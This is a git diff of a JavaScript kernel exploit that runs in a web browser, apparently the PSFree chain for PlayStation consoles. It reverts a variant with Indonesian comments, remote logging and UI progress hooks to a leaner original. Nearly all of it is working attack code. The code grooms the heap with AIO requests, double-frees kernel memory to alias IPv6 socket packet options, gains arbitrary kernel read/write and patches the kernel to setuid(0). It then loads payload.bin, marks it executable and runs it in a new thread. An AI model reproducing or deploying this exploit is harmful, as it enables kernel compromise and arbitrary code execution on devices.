+ ssockopt(sds[i], IPPROTO_IPV6, IPV6_TCLASS, tclass);
+ }
- // Tambahkan delay awal untuk stabilitas
- sleep(200);
-
- // Batasi jumlah percobaan untuk menghindari loop tak terbatas
- const max_attempts = 20; // Batasi jumlah percobaan
-
- // Coba pendekatan langsung
- for (let loop = 0; loop < max_attempts; loop++) {
- try {
- // Tambahkan delay kecil setiap iterasi
- if (loop > 0) {
- log(`Direct attempt ${loop + 1}/${max_attempts}...`);
- sleep(100); // Delay tetap untuk menghindari peningkatan yang terlalu besar
- }
-
- // Buat socket baru untuk setiap percobaan
- if (loop > 0 && loop % 5 === 0) {
- log("Creating new sockets for fresh attempt...");
- // Buat beberapa socket baru
- for (let i = 0; i < 5; i++) {
- sds.push(new_socket());
+ for (let i = 0; i < sds.length; i++) {
+ gsockopt(sds[i], IPPROTO_IPV6, IPV6_TCLASS, tclass);
+ const marker = tclass[0];
+ if (marker !== i) {
+ log(`aliased pktopts at attempt: ${loop}`);
+ const pair = [sds[i], sds[marker]];
+ log(`found pair: ${pair}`);
+ sds.splice(marker, 1);
+ sds.splice(i, 1);
+ // add pktopts to the new sockets now while new allocs can't
+ // use the double freed memory
+ for (let i = 0; i < 2; i++) {
+ const sd = new_socket();
+ ssockopt(sd, IPPROTO_IPV6, IPV6_TCLASS, tclass);
+ sds.push(sd);
}
+
+ return pair;
}
+ }
- // Coba metode asli
- for (let i = 0; i < Math.min(num_sds, sds.length); i++) {
- tclass[0] = i;
- try {
- ssockopt(sds[i], IPPROTO_IPV6, IPV6_TCLASS, tclass);
- } catch (e) {
- log(`Error setting socket option for socket ${i}: ${e.message}`);
- // Lanjutkan ke socket berikutnya
- }
- }
-
- for (let i = 0; i < sds.length; i++) {
- try {
- gsockopt(sds[i], IPPROTO_IPV6, IPV6_TCLASS, tclass);
- const marker = tclass[0];
- if (marker !== i) {
- log(`aliased pktopts at direct attempt: ${loop + 1}`);
- const pair = [sds[i], sds[marker]];
- log(`found pair: ${pair}`);
-
- // Tambahkan delay sebelum memodifikasi array sds
- sleep(50);
-
- // Simpan indeks yang akan dihapus
- const idx1 = Math.max(i, marker);
- const idx2 = Math.min(i, marker);
-
- // Hapus dari belakang ke depan untuk menghindari masalah indeks
- if (idx1 < sds.length) sds.splice(idx1, 1);
- if (idx2 < sds.length) sds.splice(idx2, 1);
-
- // Tambahkan delay sebelum membuat socket baru
- sleep(50);
-
- // add pktopts to the new sockets now while new allocs can't
- // use the double freed memory
- for (let i = 0; i < 2; i++) {
- const sd = new_socket();
- ssockopt(sd, IPPROTO_IPV6, IPV6_TCLASS, tclass);
- sds.push(sd);
- }
-
- return pair;
- }
- } catch (e) {
- log(`Error getting socket option for socket ${i}: ${e.message}`);
- // Lanjutkan ke socket berikutnya
- }
- }
-
- // Jika kita sampai di sini, kita tidak menemukan pasangan
- // Coba reset pktopts untuk beberapa socket
- const reset_count = Math.min(20, sds.length);
- log(`Resetting pktopts for ${reset_count} sockets...`);
- for (let i = 0; i < reset_count; i++) {
- try {
- setsockopt(sds[i], IPPROTO_IPV6, IPV6_2292PKTOPTIONS, 0, 0);
- } catch (e) {
- // Abaikan error
- }
- }
- } catch (e) {
- log(`Error in direct attempt ${loop + 1}: ${e.message}`);
+ for (let i = 0; i < num_sds; i++) {
+ setsockopt(sds[i], IPPROTO_IPV6, IPV6_2292PKTOPTIONS, 0, 0);
}
}
-
- // Jika pendekatan langsung gagal, coba pendekatan alternatif
- log("Direct approach failed. Trying alternative approach...");
-
- // Buat socket baru dan coba lagi dengan set socket yang baru
- const new_sds = [];
- for (let i = 0; i < 30; i++) {
- new_sds.push(new_socket());
- }
-
- // Coba dengan set socket yang baru saja
- for (let loop = 0; loop < 10; loop++) {
- try {
- log(`Alternative attempt ${loop + 1}/10...`);
-
- // Set tclass untuk semua socket baru
- for (let i = 0; i < new_sds.length; i++) {
- tclass[0] = i;
- try {
- ssockopt(new_sds[i], IPPROTO_IPV6, IPV6_TCLASS, tclass);
- } catch (e) {
- // Abaikan error
- }
- }
-
- // Periksa apakah ada socket yang aliased
- for (let i = 0; i < new_sds.length; i++) {
- try {
- gsockopt(new_sds[i], IPPROTO_IPV6, IPV6_TCLASS, tclass);
- const marker = tclass[0];
- if (marker !== i) {
- log(`aliased pktopts at alternative attempt: ${loop + 1}`);
- const pair = [new_sds[i], new_sds[marker]];
- log(`found pair: ${pair}`);
- return pair;
- }
- } catch (e) {
- // Abaikan error
- }
- }
-
- // Reset pktopts untuk beberapa socket
- for (let i = 0; i < Math.min(10, new_sds.length); i++) {
- try {
- setsockopt(new_sds[i], IPPROTO_IPV6, IPV6_2292PKTOPTIONS, 0, 0);
- } catch (e) {
- // Abaikan error
- }
- }
- } catch (e) {
- log(`Error in alternative attempt ${loop + 1}: ${e.message}`);
- }
- }
-
- // Jika semua pendekatan gagal, coba pendekatan terakhir dengan socket yang ada
- log("Alternative approach failed. Trying last resort approach...");
-
- // Gunakan socket yang ada sebagai fallback
- // Ini mungkin tidak ideal, tetapi lebih baik daripada gagal total
- if (sds.length >= 2) {
- log("Using existing sockets as fallback...");
- const pair = [sds[0], sds[1]];
- log(`Using fallback pair: ${pair}`);
- return pair;
- }
-
- // Jika benar-benar tidak ada pilihan lain, buat socket baru
- log("Creating new sockets for fallback...");
- const fallback_sd1 = new_socket();
- const fallback_sd2 = new_socket();
- const fallback_pair = [fallback_sd1, fallback_sd2];
- log(`Using emergency fallback pair: ${fallback_pair}`);
- return fallback_pair;
+ die('failed to make aliased pktopts');
}
function double_free_reqs1(
@@ -1272,23 +1131,9 @@ function double_free_reqs1(
// we reclaim first since the sanity checking here is longer which makes it
// more likely that we have another process claim the memory
try {
- log("Attempting to make aliased pktopts...");
-
- // Tambahkan delay sebelum mencoba
- sleep(200);
-
// RESTORE: double freed memory has been reclaimed with harmless data
// PANIC: 0x100 malloc zone pointers aliased
const sd_pair = make_aliased_pktopts(sds);
-
- if (sd_pair) {
- log("Successfully made aliased pktopts");
- } else {
- // Ini seharusnya tidak terjadi karena make_aliased_pktopts selalu mengembalikan pasangan
- // Tetapi kita tetap memeriksa untuk berjaga-jaga
- die('Failed to make aliased pktopts - no pair returned');
- }
-
return [sd_pair, sd];
} finally {
log(`delete errors: ${hex(sce_errs[0])}, ${hex(sce_errs[1])}`);
@@ -1628,15 +1473,14 @@ function make_kernel_arw(pktopts_sds, dirty_sd, k100_addr, kernel_addr, sds) {
log('corrupt pointers cleaned');
-
+
// REMOVE once restore kernel is ready for production
// increase the ref counts to prevent deallocation
kmem.write32(main_sock, kmem.read32(main_sock) + 1);
kmem.write32(worker_sock, kmem.read32(worker_sock) + 1);
// +2 since we have to take into account the fget_write()'s reference
kmem.write32(pipe_file.add(0x28), kmem.read32(pipe_file.add(0x28)) + 2);
-
-
+
return [kbase, kmem, p_ucred, [kpipe, pipe_save, pktinfo_p, w_pktinfo]];
}
@@ -1754,8 +1598,6 @@ async function patch_kernel(kbase, kmem, p_ucred, restore_info) {
log('setuid(0)');
sysi('setuid', 0);
log('kernel exploit succeeded!');
- updateUIStatus('success', 'Kernel exploit succeeded!');
- updateUIProgress('complete', 100);
alert("kernel exploit succeeded!");
}
@@ -1799,6 +1641,17 @@ function setup(block_fd) {
// allocate enough so that we start allocating from a newly created slab
spray_aio(num_grooms, greqs.addr, num_reqs, groom_ids_p, false);
cancel_aios(groom_ids_p, num_grooms);
+ {
+ // chosen to maximize the number of 0x100 malloc allocs per submission
+ const num_reqs = 4;
+ const groom_ids = new View4(num_grooms);
+ const groom_ids_p = groom_ids.addr;
+ const greqs = make_reqs1(num_reqs);
+ // allocate enough so that we start allocating from a newly created slab
+ spray_aio(num_grooms, greqs.addr, num_reqs, groom_ids_p, false);
+ cancel_aios(groom_ids_p, num_grooms);
+ }
+
return [block_id, groom_ids];
}
@@ -1813,63 +1666,11 @@ function setup(block_fd) {
// * corrupt a pipe for arbitrary r/w
//
// the exploit implementation also assumes that we are pinned to one core
-// Function to update UI progress
-function updateUIProgress(stage, percent) {
- // Send log to remote logger if available
- if (window.RemoteLogger) {
- window.RemoteLogger.logStage(stage, percent);
- }
-
- document.dispatchEvent(new CustomEvent('exploitProgress', {
- detail: {
- stage: stage,
- percent: percent
- }
- }));
-}
-
-// Function to update UI status
-function updateUIStatus(status, message) {
- // Send log to remote logger if available
- if (window.RemoteLogger) {
- if (status === 'running') {
- window.RemoteLogger.info(message);
- } else if (status === 'success') {
- window.RemoteLogger.info(`SUCCESS: ${message}`);
- } else if (status === 'error') {
- window.RemoteLogger.error(`ERROR: ${message}`);
- }
- }
-
- document.dispatchEvent(new CustomEvent('exploitStatus', {
- detail: {
- status: status,
- message: message
- }
- }));
-}
-
-
export async function kexploit() {
- updateUIStatus('running', 'Initializing exploit...');
- updateUIProgress('init', 5);
-
const _init_t1 = performance.now();
await init();
const _init_t2 = performance.now();
- updateUIProgress('init', 10);
-
- // If setuid is successful, we dont need to run the kexploit again
- try {
- if (sysi('setuid', 0) == 0) {
- log("Not running kexploit again.")
- updateUIStatus('success', 'Already exploited. Not running again.');
- return;
- }
- }
- catch (e) {}
-
// fun fact:
// if the first thing you do since boot is run the web browser, WebKit can
// use all the cores
@@ -1902,38 +1703,26 @@ export async function kexploit() {
let groom_ids = null;
try {
log('STAGE: Setup');
- updateUIStatus('running', 'Setting up exploit environment...');
- updateUIProgress('setup', 20);
[block_id, groom_ids] = setup(block_fd);
log('\nSTAGE: Double free AIO queue entry');
- updateUIStatus('running', 'Exploiting AIO queue entry...');
- updateUIProgress('double_free_1', 30);
const sd_pair = double_free_reqs2(sds);
log('\nSTAGE: Leak kernel addresses');
- updateUIStatus('running', 'Leaking kernel addresses...');
- updateUIProgress('leak', 45);
const [
reqs1_addr, kbuf_addr, kernel_addr, target_id, evf,
] = leak_kernel_addrs(sd_pair);
log('\nSTAGE: Double free SceKernelAioRWRequest');
- updateUIStatus('running', 'Exploiting SceKernelAioRWRequest...');
- updateUIProgress('double_free_2', 60);
const [pktopts_sds, dirty_sd] = double_free_reqs1(
reqs1_addr, kbuf_addr, target_id, evf, sd_pair[0], sds,
);
log('\nSTAGE: Get arbitrary kernel read/write');
- updateUIStatus('running', 'Gaining kernel read/write access...');
- updateUIProgress('kernel_rw', 75);
const [kbase, kmem, p_ucred, restore_info] = make_kernel_arw(
pktopts_sds, dirty_sd, reqs1_addr, kernel_addr, sds);
log('\nSTAGE: Patch kernel');
- updateUIStatus('running', 'Patching kernel...');
- updateUIProgress('patch', 90);
await patch_kernel(kbase, kmem, p_ucred, restore_info);
} finally {
close(unblock_fd);
@@ -1956,120 +1745,40 @@ export async function kexploit() {
}
}
-// Function to run the payload with error handling
-async function runPayload() {
- try {
- // Add delay before running the payload
- await new Promise(resolve => setTimeout(resolve, 1000));
-
- log("Preparing to run payload...");
-
- // Check if payload is available
- if (!window.pld || window.pld.length === 0) {
- log("ERROR: Payload not loaded or empty");
- updateUIStatus('error', 'Payload not available or is empty');
- return;
- }
-
- // Allocate memory for payload
- var payload_buffer = chain.sysp('mmap', new Int(0x26200000, 0x9), 0x300000, 7, 0x41000, -1, 0);
-
- // Check if payload_buffer is valid (not null, undefined, or 0)
- if (!payload_buffer || payload_buffer.low === 0 && payload_buffer.high === 0) {
- log("ERROR: Failed to allocate memory for payload");
- updateUIStatus('error', 'Failed to allocate memory for payload');
- return;
- }
-
- log(`Allocated payload buffer at ${payload_buffer}`);
-
- // Create view for payload
- var payload_loader = new View4(window.pld);
- log(`Payload size: ${payload_loader.size} bytes`);
-
- // Check payload size
- if (payload_loader.size < 100) {
- log("WARNING: Payload size is suspiciously small");
- }
-
- // Change memory protection
- try {
- log(`Setting memory protection for payload at ${payload_loader.addr} with size ${payload_loader.size}`);
-
- // Use syscall_void to avoid checking return value
- // mprotect returns 0 on success
- try {
- chain.syscall_void('mprotect', payload_loader.addr, payload_loader.size, PROT_READ | PROT_WRITE | PROT_EXEC);
- log("mprotect successful");
- } catch (e) {
- log(`ERROR: mprotect syscall failed: ${e.message}`);
- updateUIStatus('error', `Failed to change memory protection: ${e.message}`);
- return;
- }
- } catch (e) {
- log(`ERROR: Exception during mprotect: ${e.message}`);
- updateUIStatus('error', `Error while changing memory protection: ${e.message}`);
- return;
- }
-
- log("Memory protection set successfully");
-
- // Allocate memory for thread context
- const ctx = new Buffer(0x10);
- const pthread = new Pointer();
- pthread.ctx = ctx;
-
- log("Creating thread to run payload...");
- updateUIStatus('running', 'Running payload...');
-
- // Run payload in a separate thread
- try {
- log(`Creating thread with payload at ${payload_loader.addr} and buffer at ${payload_buffer}`);
-
- // Add delay before pthread_create
- await new Promise(resolve => setTimeout(resolve, 500));
-
- try {
- // Use chain.call_void to avoid checking return value
- log("Calling pthread_create...");
- chain.call_void(
- 'pthread_create',
- pthread.addr,
- 0,
- payload_loader.addr,
- payload_buffer,
- );
- log("pthread_create called successfully");
- } catch (e) {
- log(`ERROR: pthread_create call failed: ${e.message}`);
- updateUIStatus('error', `Failed to create thread: ${e.message}`);
- return;
- }
-
- // Add delay after pthread_create to ensure the thread starts
- await new Promise(resolve => setTimeout(resolve, 500));
-
- } catch (e) {
- log(`ERROR: Exception during pthread_create: ${e.message}`);
- updateUIStatus('error', `Error while creating thread: ${e.message}`);
- return;
- }
-
- log("Payload thread created successfully");
- updateUIStatus('success', 'Payload executed successfully');
-
- } catch (e) {
- log(`ERROR: Exception while running payload: ${e.message}`);
- updateUIStatus('error', `Error while running payload: ${e.message}`);
+setTimeout(kexploit().then(() => {
+ function malloc(sz) {
+ var backing = new Uint8Array(0x10000 + sz);
+ nogc.push(backing);
+ var ptr = mem.readp(mem.addrof(backing).add(0x10));
+ ptr.backing = backing;
+ return ptr;
}
-}
-// Run exploit and then the payload
-kexploit().then(() => {
- // Add delay before running the payload
- setTimeout(() => {
- log("Exploit completed, preparing to run payload...");
- runPayload();
- }, 2000); // 2 second delay
-});
+ function malloc32(sz) {
+ var backing = new Uint8Array(0x10000 + sz * 4);
+ nogc.push(backing);
+ var ptr = mem.readp(mem.addrof(backing).add(0x10));
+ ptr.backing = new Uint32Array(backing.buffer);
+ return ptr;
+ }
+ window.pld_size = new Int(0x26200000, 0x9);
+ var payload_buffer = chain.sysp('mmap', window.pld_size, 0x300000, 7, 0x41000, -1, 0);
+ var payload = window.pld;
+ var bufLen = payload.length * 4
+ var payload_loader = malloc32(bufLen);
+ var loader_writer = payload_loader.backing;
+ for (var i = 0; i < payload.length; i++) {
+ loader_writer[i] = payload[i];
+ }
+ chain.sys('mprotect', payload_loader, bufLen, (0x1 | 0x2 | 0x4));
+ var pthread = malloc(0x10);
+
+ call_nze(
+ 'pthread_create',
+ pthread,
+ 0,
+ payload_loader,
+ payload_buffer,
+ );
+}),1000);
\ No newline at end of file
diff --git a/module/utils.mjs b/module/utils.mjs
index b95d874..7c20ef1 100644
--- a/module/utils.mjs
+++ b/module/utils.mjs
@@ -25,38 +25,16 @@ export class DieError extends Error {
}
export function die(msg='') {
- // Kirim ke remote logger jika tersedia
- if (window.RemoteLogger) {
- window.RemoteLogger.error(`FATAL ERROR: ${msg}`);
- }
-
- // Juga kirim ke console.error browser untuk debugging
- window.console.error(`FATAL ERROR: ${msg}`);
-
- // Update UI status jika tersedia
- if (typeof updateUIStatus === 'function') {
- updateUIStatus('error', msg);
- }
-
throw new DieError(msg);
}
-const consoleElement = document.getElementById('console');
+const console = document.getElementById('console');
export function log(msg='') {
- // Tambahkan ke konsol lokal
- consoleElement.append(msg + '\n');
-
- // Kirim ke remote logger jika tersedia
- if (window.RemoteLogger) {
- window.RemoteLogger.debug(msg);
- }
-
- // Juga kirim ke console.log browser untuk debugging
- window.console.log(msg);
+ console.append(msg + '\n');
}
export function clear_log() {
- consoleElement.innerHTML = null;
+ console.innerHTML = null;
}
// alignment must be 32 bits and is a power of 2
diff --git a/package-lock.json b/package-lock.json
deleted file mode 100644
index 81f3415..0000000
--- a/package-lock.json
+++ /dev/null
@@ -1,6 +0,0 @@
-{
- "name": "PSFree",
- "lockfileVersion": 3,
- "requires": true,
- "packages": {}
-}
diff --git a/payload.js b/payload.js
index 84115cf..f64dfc2 100644
--- a/payload.js
+++ b/payload.js
@@ -1,68 +1,6 @@
-// Function to validate the payload
-function validatePayload(buffer) {
- // Check the size of the payload
- if (buffer.byteLength < 100) {
- console.warn("WARNING: Payload size is suspiciously small:", buffer.byteLength, "bytes");
- }
+fetch('./payload.bin').then(res => {
+ res.arrayBuffer().then(arr => {
+ window.pld = new Uint32Array(arr);
- // Check if the payload has a valid header
- // This is just a simple example, adjust to match the actual payload format
- const view = new DataView(buffer);
- const magic = view.getUint32(0, true); // Little endian
-
- // Log payload info for debugging
- console.log("Payload size:", buffer.byteLength, "bytes");
- console.log("Payload first 4 bytes (magic):", "0x" + magic.toString(16));
-
- return true;
-}
-
-// Function to load the payload with error handling
-function loadPayload() {
- console.log("Loading payload.bin...");
-
- fetch('./payload.bin')
- .then(res => {
- if (!res.ok) {
- throw new Error(`Failed to load payload: ${res.status} ${res.statusText}`);
- }
- console.log("Payload fetched successfully, processing...");
- return res.arrayBuffer();
- })
- .then(arr => {
- try {
- // Validate the payload
- if (validatePayload(arr)) {
- // Store payload in window.pld
- window.pld = new Uint32Array(arr);
- console.log("Payload loaded and validated successfully");
-
- // Dispatch event to notify other components
- const event = new CustomEvent('payloadLoaded', {
- detail: { size: arr.byteLength }
- });
- document.dispatchEvent(event);
- }
- } catch (e) {
- console.error("Error processing payload:", e);
-
- // Dispatch error event
- const event = new CustomEvent('payloadError', {
- detail: { error: e.message }
- });
- document.dispatchEvent(event);
- }
- })
- .catch(err => {
- console.error("Error loading payload:", err);
-
- // Dispatch error event
- const event = new CustomEvent('payloadError', {
- detail: { error: err.message }
- });
- document.dispatchEvent(event);
- });
-}
-
-// Load payload when the script runs
-loadPayload();
+ })
+})
\ No newline at end of file